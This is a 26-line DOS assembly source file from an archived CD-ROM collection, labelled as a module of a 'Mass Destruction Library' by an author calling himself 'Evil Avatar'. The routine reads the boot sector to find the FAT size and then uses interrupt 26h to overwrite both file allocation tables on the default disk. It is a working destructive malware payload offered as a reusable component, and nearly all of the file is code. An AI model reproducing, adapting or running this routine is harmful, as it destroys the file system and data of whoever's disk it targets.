home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / LAVIUPD3.ZIP / LAVI13.ZIP / FAT_FUCK.RTN < prev    next >
Encoding:
Text File  |  1994-01-06  |  708 b   |  26 lines

  1. ;FAT_FUCK - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. ; Destruye la FAT
  4.  
  5. fat_fuck:
  6.         push cx
  7.         push bp
  8.         push ax
  9.         push dx               ;save regs that will be changed
  10.         mov ax, 0dh
  11.         int 21h               ;reset disk
  12.         mov ah, 19h
  13.         int 21h               ;get default disk
  14.         xor dx, dx
  15.         call load_sec         ;load boot sector
  16.         mov bp, bx
  17.         mov cx, es:[bp+16h]   ;get number of secs per fat
  18.         add cx, cx
  19.         mov dx, 1
  20.         int 26h               ;fuck both fats
  21.         pop dx
  22.         pop ax
  23.         pop bp
  24.         pop cx
  25.         ret                   ;restore regs and return
  26.